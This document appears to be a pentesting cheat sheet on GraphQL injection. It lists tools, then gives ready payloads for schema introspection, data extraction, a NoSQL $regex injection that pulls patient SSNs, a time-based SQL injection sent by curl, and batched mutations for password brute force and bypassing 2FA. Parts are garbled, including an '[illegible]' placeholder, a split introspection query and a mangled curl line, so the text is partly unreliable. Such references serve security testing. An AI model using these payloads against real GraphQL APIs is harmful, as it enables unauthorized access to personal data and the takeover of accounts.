

# GraphQL injection

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GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type

## Summary

1. [GraphQL injection](#)
  1. [Summary](#)
  2. [Tools](#)
  3. [Exploit](#)
    1. [Identify an injection point](#)
    2. [Enumerate Database Schema via Introspection](#)
    3. [List path](#)
    4. [Extract data](#)
    5. [Extract data using edges/nodes](#)
    6. [Extract data using projections](#)
    7. [Enumerate the types' definition](#)
    8. [Use mutations](#)
    9. [NOSQL injection](#)
    10. [SQL injection](#)
    11. [GraphQL Batching Attacks](#)
  4. [References](#)

## Tools

- [GraphQLmap](#) - Scripting engine to interact with a graphql endpoint for pentesting purposes
- [GraphQL-voyager](#) - Represent any GraphQL API as an interactive graph
- [GraphQL Security Toolkit](#) - GraphQL Security Research Material
- [Graphql-path-enum](#) - Lists the different ways of reaching a given type in a GraphQL schema
- [GraphQL IDE](#) - An extensive IDE for exploring GraphQL API's
- [ClairvoyanceX](#) - Obtain GraphQL API schema despite disabled introspection
- [InQL](#) - A Burp Extension for GraphQL Security Testing
- [Insomnia](#) - Cross-platform HTTP and GraphQL Client
- [AutoGraphql](#) + introspection

## Exploit

### Identify an injection point

Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.

```
example.com/graphql?query={__schema{types{name}}}  
example.com/graphiql?query={__schema{types{name}}}
```

Check if errors are visible.

```
?query={__schema}  
?query={}
```

```
?query={thisdefinitelydoesnotexist}
```

## Enumerate Database Schema via Introspection

URL encoded query to dump the database schema.

[illegible]

URL decoded query to dump the database schema.

```
fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
  }
}
```

```

    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      ...FullType
    }
  }
}

```

Single line query to dump the database schema without fragments.

List path

```

- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill

```

## Extract data

example.com/graphql?query={TYPE\_1{FIELD\_1,FIELD\_2}}



## Extract data using edges/nodes

```

{
  "query": "query {
    teams{
      total_count,edges{
        node{
          id,_id,about,handle,state
        }
      }
    }
  }"
}

```

## Extract data using projections

:warning: Don't forget to escape the " inside the **options**.

```
{doctors(options: "{\"patients.ssn\" :1\""){firstName lastName id patients{ssn}}}
```

## Enumerate the types' definition

Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type

```
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
```

## Use mutations

Mutations work like function, you can use them to interact with the GraphQL.

```
# mutation{signIn(login:"Admin", password:"secretpassword"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
```

## NOSQL injection

Use `$regex`, `$ne` from inside a `search` parameter.

```
{
  doctors(
    options: "{\"limit\": 1, \"patients.ssn\" :1\",
    search: \"{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    {
      firstName lastName id patients{ssn}
    }
  }
}
```

## SQL injection

Send a single quote ' inside a graphql parameter to trigger the SQL injection

```
{
  bacon(id: "1'") {
    id,
    type,
    price
  }
}
```

Simple SQL injection inside a graphql field.

```
curl -X POST http://localhost:8080/graphql?
embedded_submission_form_uuid=1%27%3BSELECT%201%3BSELECT%20pg_sleep\ (30\)%3B- -%27
```

## GraphQL Batching Attacks

Common scenario:

- Password Brute-force Amplification Scenario
- 2FA bypassing

```
mutation finishChannelVerificationMutation(  
  $input FinishChannelVerificationInput!,  
  $input2 FinishChannelVerificationInput!,  
  $input3 FinishChannelVerificationInput!,  
) {  
  first: finishChannelVerificationMutation(input: $input) {  
    channel {  
      id  
      option {  
        ... onChannelSmsOptions {  
          number  
        }  
      }  
      status  
      notificationSubscription(last: 1000) { etc... }  
    }  
  }  
  
  second: finishChannelVerificationMutation(input: $input2) {...}  
  third: finishChannelVerificationMutation(input: $input3) {...}  
}
```

## References

- [Introduction to GraphQL](#)
- [GraphQL Introspection](#)
- [API Hacking GraphQL - @ghostulz - jun 8, 2019](#)
- [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](#)
- [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](#)
- [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](#)
- [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](#)
- [SQL injection in GraphQL endpoint through embedded\\_submission\\_form\\_uuid parameter - Nov 6th 2018 - @jobert](#)
- [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](#)
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- [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](#)
- [Introspection query leaks sensitive graphql system information - @Zuriel](#)
- [Graphql Bug to Steal Anyone's Address - Sept 1, 2019 - Pratik Yadav](#)
- [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](#)